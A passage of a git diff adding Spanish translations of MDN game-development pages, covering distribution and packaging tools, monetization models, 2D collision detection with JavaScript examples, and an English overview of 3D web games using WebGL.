+ <li>Google Play tiene unos requisitos menos estrictos, así que la tienda está contaminada con juegos de baja calidad. Aún así es bastante difícil que uno se haga notar, ya que la cantidad de aplicaciones enviadas diariamente es enorme. Aquí también es más difícil ganar dinero — la mayoría de los juegos de pago de iOS se publican como juegos gratuitos en Android, con monetización proveniente de compras en la aplicación(IAPS) y anuncios.</li>
+ <li>Otras tiendas para plataformas móviles nativas como Windows Phone or Blackberry están trabajando duro para obtener un pedazo del pastel, y están muy por detrás de la competencia. Puede ser bueno enviar tu juego allí, ya que será mucho más fácil que la gente se de cuenta de él.</li>
+</ul>
+
+<p>Si estas buscando más información sobre los diferentes tipos de tiendas de aplicaciones, puedes consultar la <a href="https://en.wikipedia.org/wiki/List_of_mobile_software_distribution_platforms">lista de plataformas de distribución de software móvil</a> en este artículo de Wikipedia.</p>
+
+<h3 id="Escritorio_nativo">Escritorio nativo</h3>
+
+<p>Para ampliar tu audiencia, también puedes revisar el ecosistema de escritorio con sus juegos HTML5 — solamente recuerda que todos los juegos populares AAA toman la mayor parte de la cuota del mercado, y piensa cuidadosamente si esto se adapta a tu estrategia. Para que funcione correctamente en escritorios debe funcionar en los tres sistemas operativos: Windows, Mac OS y Linux. La mayor tienda de escritorio para juegos es definitivamente <a href="http://steamcommunity.com/">Steam</a> — desarrolladores indie pueden acceder a Steam a través del programa <a href="https://steamcommunity.com/greenlight/">Greenlight</a>. Recuerda que tu mismo tienes que lidiar con los problemas multiplataforma cargando versiones separadas para diferentes plataformas.</p>
+
+<p>Después de que hayas cubierto Steam, hay un montón de rumores alrededor de iniciativas como <a href="http://www.humblebundle.com/">Humble Bundle </a>donde los juegos indie más populares se presentan a un público más amplio. Es más como una excelente oportunidad de promoción que una forma de ganar mucho dinero, sin embargo, los precios pagados por los juegos en un paquete generalmente son bastante bajos.</p>
+
+<h2 id="Juegos_de_empaquetado">Juegos de empaquetado</h2>
+
+<p>La web es la primera y la mejor opción para juegos de HTML5, pero si quieres buscar una audiencia más amplia y distribuir tu juego en un ecosistema cerrado, todavía puedes hacerlo empaquetándolo.</p>
+
+<p>Lo bueno es que no necesitas muchos equipos separados trabajando en el mismo juego para diferentes plataformas — puedes construirlo una vez y usar herramientas como <a href="/en-US/docs/">Phonegap</a> o<a href="/en-US/docs/"> CocoonIO </a>para empaquetar el juego en tiendas nativas. Los paquetes resultantes suelen ser bastante fiables, pero todavía deberias probarlos y estar atento a pequeños problemas o errores que solucionar.</p>
+
+<h3 id="Herramientas_disponibles">Herramientas disponibles</h3>
+
+<p>Hay varias herramientas para elegir dependiendo de tus habilidades, marcos preferidos o plataformas de destino. Se trata de elegir la mejor herramienta para tu tarea particular.</p>
+
+<ul>
+ <li><a href="http://phonegap.com/">Phonegap</a> — basado en Cordova, esta es la herramienta más popular para construir/empaquetar apps de JavaScript para plataformas nativas.</li>
+ <li><a href="http://cocoon.io/">CocoonIO</a> — La herramienta más popular específicamente para la construcción de juegos HTML5 para múltiples tiendas nativas. Tiene sus propias optimizaciones de rendimiento para juegos representados en Canvas y es compatible con muchos marcos de juego.</li>
+ <li><a href="http://impactjs.com/ejecta">Ejecta</a> — una herramienta específicamente para empaquetar juegos creados con el marco <a href="http://impactjs.com/"> ImpactJS</a> para iOS, construido por el autor ImpactJS. Proporciona una integración perfecta con ImpactJS, pero solo es compatible con un solo framework y tienda de aplicaciones.</li>
+ <li><a href="http://nwjs.io/">NW.js</a> — formalmente conocido como Node-Webkit, esta es la primera opción cuando se trata de construir un juego de escritorio que funcione en Windows, Mac y Linux. Las distribuciones se empaquetan con el motor WebKit para proporcionar representación en cualquier plataforma.</li>
+</ul>
+
+<p>Otras herramientas alternativas son:</p>
+
+<ul>
+ <li><a href="https://software.intel.com/en-us/intel-xdk">Intel XDK</a> — una alternativa emocionante, similar a CocoonIO.</li>
+ <li><a href="http://electron.atom.io/">Electron</a> — conocido como Atom Shell — es una herramienta de código abierto y  multiplataforma de GitHub.</li>
+ <li><a href="http://manifoldjs.com/">Manifold.js</a> — esta herramienta es del equipo de Microsotf que puede crear distribuciones nativas de juegos HTML5 desde iOS, Android, y Windows.</li>
+</ul>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>La distribución es el camino para dar acceso al mundo a tu juego. Hay muchas opciones disponibles y no hay una única respuesta en cuanto a cuál es la mejor. Cuando publiques el juego es momento de enfocarse en la <a href="https://developer.mozilla.org/en-US/docs/Games/Techniques/Publishing_games/Game_promotion/">promoción</a> — dejar que la gente sepa que tu juego existe. Sin promoción, ni siquiera serían capaces de aprender y jugar con él.</p>
diff --git a/files/es/games/publishing_games/index.html b/files/es/games/publishing_games/index.html
new file mode 100644
index 0000000000..78d4c80917
--- /dev/null
+++ b/files/es/games/publishing_games/index.html
@@ -0,0 +1,32 @@
+---
+title: Publicación de juegos
+slug: Games/Publishing_games
+tags:
+  - Games
+  - HTML5
+  - JavaScript
+  - Monetization
+  - NeedsTranslation
+  - Promotion
+  - Publicacion
+  - TopicStub
+  - distribution
+  - juegos
+  - publishing
+translation_of: Games/Publishing_games
+---
+<div>{{GamesSidebar}}</div>
+
+<p class="summary">Los juegos desarrollados en HTML5 tienen una gran ventaja sobre los nativos en términos de publicación y distribución: tienen la libertad de distribución, promoción y monetización de su juego en la Web, en lugar de que cada versión esté restringida a una única tienda controlada por una empresa. Pueden, beneficiándose de la web, ser verdaderamente multiplataforma. Esta serie de artículos analiza las opciones que tienes a la hora de publicar y distribuir tu juego, y ganar algo con él mientras esperas que se haga famoso.</p>
+
+<h2 id="Distribución">Distribución</h2>
+
+<p>Así que has seguido un <a href="/en-US/docs/Games/Workflows/2D_Breakout_game_pure_JavaScript">tutorial</a> o <a href="/en-US/docs/Games/Workflows/2D_Breakout_game_Phaser">dos</a> y has creado un juego HTML5. ¡Genial! La <a href="/en-US/docs/Games/Publishing_games/Game_distribution"> distribución de juegos</a> proporciona todo lo que se necesita saber sobre las formas en que puede distribuir su juego recién creado, incluido hospedarlo en línea, enviarlo a mercados abiertos y enviarlo a sitios cerrados como GooglePlay o iOS App Store.</p>
+
+<h2 id="Promoción">Promoción</h2>
+
+<p>Desarrollar y terminar el juego no es suficiente. Tienes que hacerle saber al mundo que has hecho disponible algo interesante, que la gente disfrutará jugando. Existen muchas técnicas de <a href="/en-US/docs/Games/Publishing_games/Game_promotion">promoción de juegos</a> , muchas de ellas gratuitas, por lo que incluso si estás luchando por ganarte la vida como un desarrollador independiente con presupuesto limitado, aún puedes hacer mucho para que la gente sepa acerca de tu nuevo juego. Promocionar el juego también ayuda a monetizarlo más tarde, por lo que es importante hacerlo con eficacia.</p>
+
+<h2 id="Monetización">Monetización</h2>
+
+<p>Cuando dedicas tiempo a desarrollar, publicar y promocionar un juego, llega un punto en el que considerarás ganar dinero con él. La <a href="/en-US/docs/Games/Publishing_games/Game_monetization">monetización</a> del juego es esencial para cualquier persona que considere que su trabajo de desarrollo es un esfuerzo serio en el camino de convertirse en un desarrollador independiente capaz de ganarse la vida, así que siga leyendo y vea cuáles son sus opciones. La tecnología es lo suficientemente madura; Es solo cuestión de elegir el enfoque correcto.</p>
diff --git a/files/es/games/publishing_games/monetización_de_los_juegos/index.html b/files/es/games/publishing_games/monetización_de_los_juegos/index.html
new file mode 100644
index 0000000000..1549b222da
--- /dev/null
+++ b/files/es/games/publishing_games/monetización_de_los_juegos/index.html
@@ -0,0 +1,100 @@
+---
+title: Monetización de videojuegos
+slug: Games/Publishing_games/Monetización_de_los_juegos
+tags:
+  - HTLM5
+  - JavaScript
+  - Licencias
+  - anuncios
+  - juegos
+  - marca
+  - monetización
+translation_of: Games/Publishing_games/Game_monetization
+---
+<div>{{GamesSidebar}}</div>
+
+<p class="summary">Cuando empleas tu tiempo en crear un juego, <a href="https://developer.mozilla.org/en-US/docs/Games/Techniques/Publishing_games/Game_distribution">distribuirlo </a>y <a href="https://developer.mozilla.org/en-US/docs/Games/Techniques/Publishing_games/Game_promotion">promocionarlo </a>deberías considerar ganar un poco de dinero con ello. Si tu trabajo es un esfuerzo serio en tu camino para ser un desarrollador independiente de juegos capaz de ganarse la vida, sigue leyendo y verás cuales son tus opciones. La tecnología es lo suficientemente madura; ahora es cuestión de elegir el enfoque adecuado.</p>
+
+<h2 id="Juegos_de_pago">Juegos de pago</h2>
+
+<p>Lo primero, la opción más obvia que probablemente venga a tu mente, podría ser vender los juegos de la forma en que se realiza para grandes títulos AAA ---- con un precio fijado por adelantado. Aunque el mercado digital es clave y no necesitas imprimir portadas y sacar tu juego en una tienda física, para ganar un dinero decente vendiendo tus juegos con un precio fijo, tienes que invertir tu tiempo y dinero en marketing. Solo con los mejores juegos se recupera o gana más de lo que costo hacerlo, y necesitas un montón de suerte para ello.</p>
+
+<p>Cuanto ganes por tu jugo depende del mercado, la calidad de tu juego y otros tantos pequeños factores. Un título de arcade para iOS puede venderse por 0,99 USD, pero un juego de escritorio estilo RPG más largo, en Steam, puede venderse por 20 USD; ambos precios están bien. Tienes que seguir el mercado y tu propia investigación --- aprender rápido de tus errores es importante.</p>
+
+<h2 id="Compras_en_la_aplicación">Compras en la aplicación</h2>
+
+<p>En lugar de que la gente pague por tu juego por adelantado, puedes ofrecer un juego de forma gratuita con compras dentro de la aplicación. En este caso, el juego puede ser adquirido sin gastarse un centavo --- dar el juego a los jugadores, pero ofreciendo monedas del juego, bonus extra  o beneficios por dinero real. Ejemplos específicos pueden ser, incluir bonus de nivel, mejores armas o hechizos, o volver a llenar la energía necesaria para jugar. Diseñar un buen sistema de compras en la aplicación es un arte propio.</p>
+
+<p>Recuerda que necesitas miles de descargas de tu juego para hacer efectivas/rentables las compras en la aplicación --- solo una pequeña parte de los jugadores pagará por las compras en la aplicación. ¿Cómo de pequeña? Varía, pero alrededor de una persona por cada mil es aproximadamente la media. Cuantas más personas jueguen a tu juego, mayor será la probabilidad de que alguien pague, o sea que tus beneficios dependen en gran medida de tus actividades de <a href="https://developer.mozilla.org/en-US/docs/Games/Techniques/Publishing_games/Game_promotion">promoción.</a></p>
+
+<h3 id="Freemium">Freemium</h3>
+
+<p>Los juegos que ofrecen compras en el juego, a menudo se refieren a <strong>freemium </strong>--- un juego freemium puede ser adquirido y jugado gratis, pero puedes pagar por características extra (premium), bienes virtuales u otros beneficios. La palabra en sí, adquirió una connotación negativa después de que las grandes compañías se centraran en crear juegos, cuyo objetivo principal era ganar el máximo dinero posible de los jugadores, en lugar de proporcionar una experiencia divertida. Los peores casos fueron cuando podías utilizar dinero real para obtener ventajas sobre otros jugadores, o cuando restringían el acceso a las siguientes etapas del juego, a menos que los jugadores pagaran. El término "pagar para ganar" fue acuñado y este enfoque no gustó a muchos jugadores  y desarrolladores. Si quieres implementar compras dentro del juego asegúrate de que intenten añadir valor al juego con algo que los jugadores disfruten, en lugar de sacarlo y luego cobrarlo.</p>
+
+<h3 id="Complementos_y_DLCs">Complementos y DLCs</h3>
+
+<p> </p>
+
+<p>Los complementos y el contenido descargable son una buena manera de proporcionar un valor extra a un juego ya lanzado, pero recuerda que tendrás que ofrecer contenido decente y entretenido para atraer a la gente a comprarlo. Un conjunto totalmente nuevo de niveles con nuevos personajes, armas e historia es un buen material para DLC, pero para tener suficientes ventas el juego en sí debe ser popular, o de lo contrario no habrá jugadores interesados ​​en gastar su dinero duramente ganado. eso.</p>
+
+<p>En lugar de vender activamente los juegos, también puede intentar obtener un ingreso pasivo: mostrar anuncios y confiar en actividades anteriores relacionadas con la <a href="https://developer.mozilla.org/en-US/docs/Games/Techniques/Publishing_games/Game_promotion">promoción</a> de su juego puede ser beneficioso, pero su juego debe ser adictivo, lo cual no es tan fácil como parece. Todavía necesitas planearlo, y en algún momento también necesitarás un poco de suerte. Si su juego se vuelve viral y la gente comienza a compartirlo, puede obtener muchas descargas y dinero de los anuncios.</p>
+
+<p>Hay muchas compañías que ofrecen sistemas de publicidad: usted se registra y les permite mostrar anuncios a cambio de un porcentaje de las ganancias. Se dice que Google AdSense es el más efectivo, pero no está diseñado para juegos y es una práctica bastante mala usarlo para ese propósito. En lugar de arriesgarse a que se cierre su cuenta y se bloquee todo el dinero, intente utilizar los portales habituales de gamedev como <a href="https://www.leadbolt.com/">LeadBolt. </a>Ofrecen sistemas fáciles de implementar para mostrar los anuncios en sus juegos y dividir las ganancias con usted.</p>
+
+<p>Los anuncios de video son cada vez más populares, especialmente en forma de pre-roll: se muestran al principio de su juego mientras aún se está cargando. Y sobre el tema de dónde colocar los anuncios en tu juego, realmente depende de ti. Debería ser lo más sutil posible para no molestar demasiado a los jugadores, pero lo suficientemente visible como para hacerles clic o al menos tomar nota. Adición de anuncios entre sesiones de juego en juego sobre pantallas es un enfoque popular.</p>
+
+<p> </p>
+
+<h2 id="Licencias">Licencias</h2>
+
+<p>Hay un enfoque que puede funcionar como un modelo de monetización por sí mismo, y es vendiendo licencias para la distribución de tu juego. Existen más y más portales interesados en enseñar tu juego en sus páginas web. Ellos siguen varias estrategias para ganar dinero, gracias a tus juegos, pero no te tienes que preocuparte sobre eso, ya que la venta de la licencia suele ser un contrato único. Tu consigues el dinero y ellos pueden ser creativos con el uso de tu juego para hacer dinero con él.</p>
+
+<p>Encontrar editores puede ser difícil la primera vez --- intenta buscarlos en los foros <a href="http://www.html5gamedevs.com/">HTML5 Gamedevs</a>. Si eres bien conocido, los editores llegarán a ti. La mayoria de las ofertas se realizan a través de correos electrónicos cuando se habla con una persona dedicada en el lado del editor. Algunos editores de sitios web tienen esa información a la vista, mientras que para contactar con otros editores es más difícil. Cuando busques un editor intenta ser amable e ir directo al grano --- son gente ocupada.</p>
+
+<h3 id="Licencias_exclusivas">Licencias exclusivas</h3>
+
+<p>La licencia exclusiva es un tipo de licencia para un editor --- has creado un juego y vendes todos sus derechos a una única entidad junto con los derechos para redistribuirla ---- <a href="http://www.softgames.de/">Softgames</a> es un ejemplo de tal editor. No puedes vender el juego otra vez de ninguna forma mientras que el editor tenga los derechos --- esto es por lo que las ofertas exclusivas valen mucho dinero. ¿Cuánto exactamente? Depende de la calidad del juego, el género, el editor, y otros tantos factores, pero habitualmente puede estar entre los 2000 y 5000 USD. Un vez que vendiste una licencia exclusiva puedes olvidarte de promocionar ese juego en particular, ya que no ganarás más dinero con él, así que acepta tal oferta solo si estas seguro de que es lo suficientemente rentable.</p>
+
+<h3 id="Licencias_no_exclusivas">Licencias no exclusivas</h3>
+
+<p>Este enfoque es menos estricto --- puedes vender una misma licencia a varios editores. Este es el enfoque más popular entre os editores nuevos (y los editores están apareciendo constantemente), puedes vender tus juegos con unos términos no exclusivos. Recuerda que con esta licencia el editor no puede redistribuirlo más --- a menudo se le llama un acuerdo de sitio cerrado cuando compran el derecho de publicar el juego en su propio portal. El coste normal de una licencia no exclusiva esta alrededor de 500 USD.</p>
+
+<h3 id="Subscripciones">Subscripciones</h3>
+
+<p>También hay una opción para obtener un dinero pasivo mensual, a través de un acuerdo de subscripción. En lugar de obtener un único pago, puedes obtener pequeños pagos de dinero por juego, por mes --- puede estar entorno a 20-50 USD por mes, por juego. Normalmente depende de ti, si quieres ganar todo el dinero en un solo pago o ganarlo por meses. Recuerda que puede ser cancelado, o sea que no es una solución que funcione indefinidamente.</p>
+
+<h3 id="Ingresos_por_publicidad">Ingresos por publicidad</h3>
+
+<p>Puedes implementar anuncios en tu juego tu mismo e intentar encontrar el tráfico adecuado para ganar un poco de dinero, pero también puedes hacer un acuerdo de reparto de ingresos con un editor. Los editores se encargarán de dirigir el tráfico y de dividir los beneficios --- habitualmente los acuerdos son de 70/30% o 50/50%, ganado por mes.</p>
+
+<p>Recuerda que muchos nuevos editores de baja calidad querrán coger tu juego con ingresos por anuncios, en lugar de licencia, porque será más barato para ellos y podrías terminar con beneficios de 2 USD por juego por trato completado. Ten cuidado cuando contrates con nuevos editores --- algunas veces es mejor reducir el coste de la licencia a un editor conocido, en lugar de que te defraude un nuevo editor por más dinero.</p>
+
+<p>Los editores cogen tus juegos para la participación en los beneficios, y/o licenciar podrá requerir implementar sus propias APIs, lo cual dará un trabajo extra, asi que considera eso en tu precio final.</p>
+
+<h3 id="Marca">Marca</h3>
+
+<p>Puedes vender los derechos de usar tu juego para la marca, o hacerlo tu mismo.  En el primer caso, es casi como una licencia no exclusiva, pero el cliente normalmente compra derechos para el código e implementarán sus propios gráficos. En el segundo caso, es como un trato independiente, pero estas reutilizando el código y añadiendo gráficos proporcionados por los clientes, algunas veces implementándolos como ellos te enseñen. Por ejemplo, si tu tienes un juego donde un jugador golpea los artículos de comida, podrías cambiar la comida a los productos del cliente para darles publicidad. Los precios en este modelo varían mucho dependiendo de la marca, cliente, y las horas que le eches.</p>
+
+<h2 id="Otras_estrategias_de_monetización_no_enfocadas_al_juego">Otras estrategias de monetización no enfocadas al juego</h2>
+
+<p>Hay otros caminos en los que puedes ganar dinero cuando haces juegos HTML5, y ni siquiera tiene que estar relacionado con el juego.</p>
+
+<h3 id="Venta_de_recursos">Venta de recursos</h3>
+
+<p>Si eres un diseñador gráfico, puedes vender los bienes de los juegos que has creado, o algo completamente nuevo exclusivamente para ese propósito en tiendas online como  <a href="http://market.envato.com/">Envato Market</a>. No es mucho, pero si eres un diseñador conocido, puede ser una forma de ganar un dinero extra.</p>
+
+<h3 id="Escribir_artículos_y_tutoriales">Escribir artículos y tutoriales</h3>
+
+<p>Es posible escribir artículos sobre tus juegos y que te paguen por ello. La promoción del juego y la monetización al mismo tiempo es un ganar-ganar, y si no abusas de ello con muchos anuncios, los lectores disfrutarán leyendo los artículos y aprenderán una o dos cosas. Si te enfocas en compartir el conocimiento primero y usas tus juegos solo como ejemplos, estará bien. Visita <a href="http://gamedevelopment.tutsplus.com/">Tuts+ Game Development</a> o sitios web similares para tener oportunidades donde escribir artículos.</p>
+
+<h3 id="Mercancías">Mercancías</h3>
+
+<p>Puedes vender camisetas, <a href="https://www.stickermule.com/user/1070634890/stickers">pegatinas</a> o otros objetos --- algunos desarrolladores ganan más dinero con las mercancías que con sus propios juegos, pero solo funciona en juegos muy populares y reconocidos, como Angry Birds. Todavía, puede ser otra forma de ganar un poco de dinero. Cuanto más diversificados sean tus ingresos, mejor será tu estabilidad comercial.</p>
+
+<h3 id="Donaciones">Donaciones</h3>
+
+<p>Cuando todo lo demás falla puedes intentar poner un botón de donaciones en la página de tu juego y pedir apoyo de la comunidad. Algunas veces funciona, pero solo si el jugador te conoce y siente que te ayudará. Este es el porque de que manejar cuidadosamente la comunidad es tan importante. Funcionó con la competición de <a href="http://js13kgames.com/">js13kGames</a> --- todos los participantes obtuvieron una camiseta gratis, y algunos incluso dieron unos cuantos dólares para ayudarlo a seguir funcionado en los próximos años.</p>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>Hay muchas maneras de ganar dinero --- todo lo que se aplica al mundo de los juegos AAA "normalmente" puede ser, más o menos, aplicable a los juegos casuales HTML5. Sin embargo, también podrías enfocarte en vender licencias, hacer marcas, o ganar unos beneficios compartidos de los anuncios. Depende totalmente de ti, que camino vas a seguir.</p>
diff --git a/files/es/games/techniques/2d_collision_detection/index.html b/files/es/games/techniques/2d_collision_detection/index.html
new file mode 100644
index 0000000000..e4d66bf13f
--- /dev/null
+++ b/files/es/games/techniques/2d_collision_detection/index.html
@@ -0,0 +1,181 @@
+---
+title: 2D collision detection
+slug: Games/Techniques/2D_collision_detection
+tags:
+  - 2D
+  - Deteccion de colision
+  - JavaScript
+  - juegos
+translation_of: Games/Techniques/2D_collision_detection
+---
+<div>{{GamesSidebar}}</div><p>{{IncludeSubnav("/en-US/docs/Games")}}</p>
+
+<div class="summary">
+<p>Algoritmos para detectar la colision en juegos de 2D depende del tipo de formas con las que queramos colisionar (Ej.: Rectangulo, Circulo). Generalmente tendras una forma simple que cubre la "hitbox" (caja de colision), por lo tanto la colision no sera perfecta pixel a pixel, pero ira bien, en rendimiento. Este articulo cubre la mayoria de las tecnicas utilizadas para la colision para juegos en 2D.</p>
+</div>
+
+<h2 id="Hitbox_alineada_con_las_cordenadas">Hitbox alineada con las cordenadas</h2>
+
+<p>Una de las formas mas sencillas es entre dos rectangulos que esten alineados con las cordenas, es decir, sin rotacion. El algoritmo funciona de manera que detecta si hay un agujero en alguno de los 4 lados del rectangulo. Si en un lado no hay un agujero, significa de que hay una colision.</p>
+
+<pre class="brush: js">var rect1 = {x: 5, y: 5, width: 50, height: 50}
+var rect2 = {x: 20, y: 10, width: 10, height: 10}
+
+if (rect1.x &lt; rect2.x + rect2.width &amp;&amp;
+   rect1.x + rect1.width &gt; rect2.x &amp;&amp;
+   rect1.y &lt; rect2.y + rect2.height &amp;&amp;
+   rect1.height + rect1.y &gt; rect2.y) {
+    // ¡colision detectada!
+}
+
+// reemplazando los valores =&gt;
+
+if (5 &lt; 30 &amp;&amp;
+    55 &gt; 20 &amp;&amp;
+    5 &lt; 20 &amp;&amp;
+    55 &gt; 10) {
+    // ¡colision detecteda!
+}
+</pre>
+
+<div class="hidden">
+<h5 id="Rect_code">Rect code</h5>
+
+<pre class="brush: html">&lt;div id="cr-stage"&gt;&lt;/div&gt;
+&lt;p&gt;Mueve los rectangulos. Azul = no colision. Verde = colision&lt;/p&gt;
+&lt;script type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/crafty/0.5.4/crafty-min.js"&gt;&lt;/script&gt;
+</pre>
+
+<pre class="brush: js">Crafty.init(200, 200);
+
+var dim1 = {x: 5, y: 5, w: 50, h: 50}
+var dim2 = {x: 20, y: 10, w: 60, h: 40}
+
+var rect1 = Crafty.e("2D, Canvas, Color").attr(dim1).color("red");
+
+var rect2 = Crafty.e("2D, Canvas, Color, Keyboard, Fourway").fourway(2).attr(dim2).color("blue");
+
+rect2.bind("EnterFrame", function () {
+    if (rect1.x &lt; rect2.x + rect2.w &amp;&amp;
+        rect1.x + rect1.w &gt; rect2.x &amp;&amp;
+        rect1.y &lt; rect2.y + rect2.h &amp;&amp;
+        rect1.h + rect1.y &gt; rect2.y) {
+        // collision detected!
+        this.color("green");
+    } else {
+        // no collision
+        this.color("blue");
+    }
+});
+
+</pre>
+</div>
+
+<p> </p>
+
+<p>{{ EmbedLiveSample('Rect_code', '700', '300', '', 'Games/Techniques/2D_collision_detection') }}</p>
+
+<h2 id="Colision_circular">Colision circular</h2>
+
+<p>Otra colision simple es entre dos circulos. Funciona con los centros de los dos circulos y calculando la distancia entre los dos.</p>
+
+<div class="hidden">
+<h6 id="Playable_code">Playable code</h6>
+
+<pre class="brush: html">&lt;div id="cr-stage"&gt;&lt;/div&gt;
+&lt;p&gt;Mueve el circulo con las flechas. Verde = colision. Azul = no colision&lt;/p&gt;
+&lt;script type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/crafty/0.5.4/crafty-min.js"&gt;&lt;/script&gt;
+</pre>
+
+<pre class="brush: css">#cr-stage {
+    position: static !important;
+    height: 200px !important;
+}
+</pre>
+
+<pre class="brush: js">Crafty.init(200, 200);
+
+var dim1 = {x: 5, y: 5}
+var dim2 = {x: 20, y: 20}
+
+Crafty.c("Circle", {
+   circle: function(radius, color) {
+        this.radius = radius;
+        this.w = this.h = radius * 2;
+        this.color = color || "#000000";
+
+        this.bind("Move", Crafty.DrawManager.drawAll)
+        return this;
+   },
+
+   draw: function() {
+       var ctx = Crafty.canvas.context;
+       ctx.save();
+       ctx.fillStyle = this.color;
+       ctx.beginPath();
+       ctx.arc(
+           this.x + this.radius,
+           this.y + this.radius,
+           this.radius,
+           0,
+           Math.PI * 2
+       );
+       ctx.closePath();
+       ctx.fill();
+       ctx.restore();
+    }
+});
+
+var circle1 = Crafty.e("2D, Canvas, Circle").attr(dim1).circle(15, "red");
+
+var circle2 = Crafty.e("2D, Canvas, Circle, Fourway").fourway(2).attr(dim2).circle(20, "blue");
+
+circle2.bind("EnterFrame", function () {
+    var dx = (circle1.x + circle1.radius) - (circle2.x + circle2.radius);
+    var dy = (circle1.y + circle1.radius) - (circle2.y + circle2.radius);
+    var distance = Math.sqrt(dx * dx + dy * dy);
+
+    if (distance &lt; circle1.radius + circle2.radius) {
+        // collision detected!
+        this.color = "green";
+    } else {
+        // no collision
+        this.color = "blue";
+    }
+});
+
+
+</pre>
+</div>
+
+<pre class="brush: js"><code>var circle1 = {radius: 20, x: 5, y: 5};
+var circle2 = {radius: 12, x: 10, y: 5};
+
+var dx = circle1.x - circle2.x;
+var dy = circle1.y - circle2.y;
+var distance = Math.sqrt(dx * dx + dy * dy);
+
+if (distance &lt; circle1.radius + circle2.radius) {
+    // collision detected!
+}</code>
+</pre>
+
+<p>{{ EmbedLiveSample('Playable_code', '700', '300', '', 'Games/Techniques/2D_collision_detection') }}</p>
+
+<p><strong>Note</strong>:  <a href="https://jsfiddle.net/jlr7245/teb4znk0/20/">Here is another example without Canvas or external libraries.</a></p>
+
+<h2 id="El_teorema_de_separar_los_ejes">El teorema de separar los ejes</h2>
+
+<p>Esto es un algoritmo que detecta la colision entre dos poligonos convexos. Ya que es complejo, se necesitara mejorar el rendimiento (explicado en la siguiente seccion). </p>
+
+<h2 id="Mejorar_el_rendimiento_de_las_colisiones">Mejorar el rendimiento de las colisiones</h2>
+
+<p>Algunos algoritmos son sencillos de calcular, en cambio otros no. Normalmente los juegos, se dividen en dos fases: "Broad" y "Narrow".</p>
+
+<h3 id="Broad_Phase">Broad Phase</h3>
+
+<p>Esta fase consiste en conseguir una lista de todas las cosas con las que se puede colisionar. Puede ser implementado con una estructura de datos que recoge que objetos hay alrededor de nuestro objeto.</p>
+
+<h3 id="Narrow_Phase">Narrow Phase</h3>
+
+<p>Cuando tienes una lista pequeña, ya puedes detectar colision con un algoritmo.</p>
diff --git a/files/es/games/techniques/3d_on_the_web/index.html b/files/es/games/techniques/3d_on_the_web/index.html
new file mode 100644
index 0000000000..3944c617c6
--- /dev/null
+++ b/files/es/games/techniques/3d_on_the_web/index.html
@@ -0,0 +1,113 @@
+---
+title: 3D games on the Web
+slug: Games/Techniques/3D_on_the_web
+tags:
+  - Games
+  - Graphics
+  - NeedsContent
+  - NeedsExample
+  - NeedsTranslation
+  - TopicStub
+  - WebGL
+  - WebVR
+  - three.js
+translation_of: Games/Techniques/3D_on_the_web
+---
+<div>{{GamesSidebar}}</div><p class="summary">For rich gaming experiences on the Web the weapon of choice is WebGL, which is rendered on HTML {{htmlelement("canvas")}}. WebGL is basically an OpenGL ES 2.0 for the Web — it's a JavaScript API providing tools to build rich interactive animations and of course also games. You can generate and render dynamic 3D graphics with JavaScript that is hardware accelerated.</p>
+
+<h2 id="Documentation_and_browser_support">Documentation and browser support</h2>
+
+<p>The <a href="/en-US/docs/Web/API/WebGL_API">WebGL</a> project documentation and specification is maintained by the <a href="https://www.khronos.org/">Khronos Group</a>, not the W3C as with most of the Web APIs. Support on modern browsers is very good, even on mobile, so you don't have to worry about that too much. The main browsers are all supporting WebGL and all you need to focus on is optimizing the performance on the devices you use.</p>
+
+<p>There's an ongoing effort on releasing WebGL 2.0 (based on OpenGL ES 3.0) in the near future, which will bring many improvements and will help developers build games for the modern Web using current, powerful hardware.</p>
+
+<h2 id="Explaining_basic_3D_theory">Explaining basic 3D theory</h2>
+
+<p>The basics of 3D theory centers around shapes represented in a 3D space, with a coordinate system being used to calculate their positions. See our <a href="https://developer.mozilla.org/en-US/docs/Games/Techniques/3D_on_the_web/Basic_theory">Explaining basic 3D theory</a> article for all the information you need.</p>
+
+<h2 id="Advanced_concepts">Advanced concepts</h2>
+
+<p>You can do a lot more with WebGL. There are some advanced concepts which you should dive into and learn more about — like shaders, collision detection, or the latest hot topic — virtual reality on the web.</p>
+
+<h3 id="Shaders">Shaders</h3>
+
+<p>It's worth mentioning shaders, which are a separate story on their own. Shaders use GLSL, a special OpenGL Shading Language with syntax similar to C that is executed directly by the graphics pipeline. They can be split into Vertex Shaders and Fragment Shaders (or Pixel Shaders) — the former transforms shape positions to real 3D drawing coordinates, while the latter computes rendering colors and other attributes. You should definitely check out <a href="/en-US/docs/Games/Techniques/3D_on_the_web/GLSL_Shaders">GLSL Shaders</a> article to learn more about them.</p>
+
+<h3 id="Collision_Detection">Collision Detection</h3>
+
+<p>It's hard to imagine a game without the collision detection — we always need to work out when something is hitting something else. We have information available for your to learn from:</p>
+
+<ul>
+ <li><a href="/en-US/docs/Games/Techniques/2D_collision_detection">2D collision detection</a></li>
+ <li><a href="/en-US/docs/Games/Techniques/3D_collision_detection">3D collision detection</a></li>
+</ul>
+
+<h3 id="WebVR">WebVR</h3>
+
+<p>The concept of virtual reality is not new, but it's storming onto the web thanks to hardware advancements such as the <a href="https://www.oculus.com/en-us/rift/">Oculus Rift</a>, and the (currently experimental) <a href="/en-US/docs/Web/API/WebVR_API">WebVR API</a> for capturing information form VR hardware and making it available for use in JavaScript applications. For more, read <a href="/en-US/docs/Games/Techniques/3D_on_the_web/WebVR">WebVR — Virtual Reality for the Web</a>.</p>
+
+<p>There's also the <a href="/en-US/docs/Games/Techniques/3D_on_the_web/Building_up_a_basic_demo_with_A-Frame">Building up a basic demo with A-Frame</a> article showing you how easy it is to build 3D environments for virtual reality using the <a href="http://aframe.io/">A-Frame</a> framework.</p>
+
+<h2 id="The_rise_of_libraries_and_frameworks">The rise of libraries and frameworks</h2>
+
+<p>Coding raw WebGL is fairly complex, but you'll want to get to grips with it in the long run, as your projects get more advanced (see our <a href="/en-US/docs/Web/API/WebGL_API">WebGL documentation</a> to get started.) For real world projects you'll probably also make use of a framework to speed up development and help you manage the project you're working on. Using a framework for 3D games also helps optimize the performance as a lot is taken care of by the tools you use, so you can focus on building the game itself.</p>
+
